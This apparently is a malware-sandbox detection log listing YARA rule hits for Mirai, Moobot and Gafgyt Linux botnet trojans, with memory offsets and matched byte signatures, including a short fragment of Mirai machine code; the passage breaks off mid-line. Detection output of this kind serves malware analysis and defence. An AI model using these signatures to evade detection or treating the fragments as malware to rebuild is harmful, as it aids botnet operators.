7261.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7261.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7292.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6473.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6473.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6473.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6473.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6473.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6473.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7411.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6395.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7169.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6811.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6811.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6811.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6811.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6811.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6811.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6241.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6839.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6839.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6839.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6839.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6839.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6839.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6996.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6996.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6996.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6996.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6996.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6996.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6654.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6654.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6654.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6654.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6654.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 